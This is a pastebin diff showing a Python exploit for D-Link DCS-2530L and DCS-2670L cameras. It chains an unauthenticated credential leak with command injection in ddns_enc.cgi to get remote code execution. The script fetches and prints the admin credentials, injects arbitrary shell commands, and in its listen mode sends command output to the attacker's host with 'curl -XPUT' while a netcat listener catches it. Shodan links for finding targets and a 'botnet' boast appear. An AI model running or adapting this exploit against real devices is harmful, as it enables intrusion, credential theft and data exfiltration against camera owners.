View difference between Paste ID: ziPKTEES and 1WTDdKpR
SHOW: | | - or go back to the newest paste.
1
'''
2
Usage:
3
Copy the url straight from firefox. If you want to get a netcat listener you need netcat installed
4
and the listening port specified within open obviously.
5
6
Blind execution - python3 exploit.py http://1.2.3.4/ "curl http://pingb.in/p/xxxxxxxxxxxxxxxxxx"
7
Netcat listener - python3 exploit.py http://1.2.3.4/ "cat /proc/cpuinfo" --listen
8
9
Info:
10
By chaining together an unauthenticated credential disclouse 0day in multiple
11
Dlink DCS cameras with an authenticated command injection in ddns_enc.cgi - it
12
is possible to gain RCE. 
13
14
Confirmed vulnerable:
15
DCS-2530L, DCS-2670L 
16
https://www.shodan.io/search?query=DCS-2670L
17
https://www.shodan.io/search?query=DCS-2530L
18
19
Limitations:
20
The length of the 'account' parameter is limited to 55 characters. Longer commands
21
can be executed via piping characters with "echo -ne" to a .sh or downloading a .sh
22
from another host. 
23
24
The payload will be executed every 5 seconds on the host while the payload in the account
25
parameter is set. This exploit triies to auto terminate after 1 execution. Ajust timing if needed. 
26
27
Patch:
28
Dlink has released an advisory for the DCS-2530L but no patch. Don't port forward the
29
camera until one has been released.
30
31
Don't be an ass. Don't brick other people's shit. I'm not responsible for anything lmfao - @dogonsecurity 
32
'''
33
34
import requests, sys, argparse, time, os
35
from time import sleep
36
from requests import get
37
from urllib3.exceptions import InsecureRequestWarning
38
39
def getcreds(host):
40
  try:
41
    r = requests.get(host + "/config/getuser?index=0", verify=False, timeout=5)
42
    data = r.text.split("\n")
43
    credentials = []
44
    credentials.append(data[0].replace("name=", "").replace("\r", ""))
45
    credentials.append(data[1].replace("pass=", "").replace("\r", ""))
46
    return credentials
47
  except Exception as e:
48
    print(e)
49
50
def execpayload(host, creds, payload):
51
  try:
52
    url = "/cgi-bin/ddns_enc.cgi?enable=1&hostname=qq&interval=24&servername=www.dlinkddns.com&provider=custom&account="
53
    endexec = "/cgi-bin/ddns_enc.cgi?enable=0&hostname=qq&interval=24&servername=www.dlinkddns.com&provider=custom&account=aaaa"
54
    # DEBUG print(payload)
55
    if not args.listen:
56
      payload = "{};{};".format(url,payload)
57
      r = requests.get(host + payload , auth=(creds[0], creds[1]), verify=False, timeout=5)
58
      print("Sent payload... Waiting for execution.")
59
      sleep(4)
60
      r = requests.get(host + endexec , auth=(creds[0], creds[1]), verify=False, timeout=5)
61
      print("Blind exploit complete. Did it work :)?")
62
    else:
63
      ourip = get('https://api.ipify.org').text
64
      ourport = 3 #Change if you need to
65
      payload = "{};{} >a;curl -XPUT {}:{} -T a;".format(url,payload,ourip,ourport)
66
      # DEBUG print(payload)
67
      r = requests.get(host + payload , auth=(creds[0], creds[1]), verify=False, timeout=5)
68
      print("Sent payload... Waiting for execution.")
69
      os.system("sudo nc -lvp 3 &")
70
      sleep(7)
71
      r = requests.get(host + endexec , auth=(creds[0], creds[1]), verify=False, timeout=5)
72
      os.system("sudo pkill -f nc")
73
      print("Listening exploit complete.")
74
  except Exception as e:
75
    print(e)
76
77
print("Hoho is the future of botnet!!11!!")
78
parser = argparse.ArgumentParser()
79
parser.add_argument("target", help="target",type=str)
80
parser.add_argument("payload", help="payload",type=str)
81
parser.add_argument("--listen", action='store_true')
82
args = parser.parse_args()
83
84
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
85
creds = getcreds(args.target)
86
print("Got credentials: " + str(creds))
87
execpayload(args.target, creds, args.payload)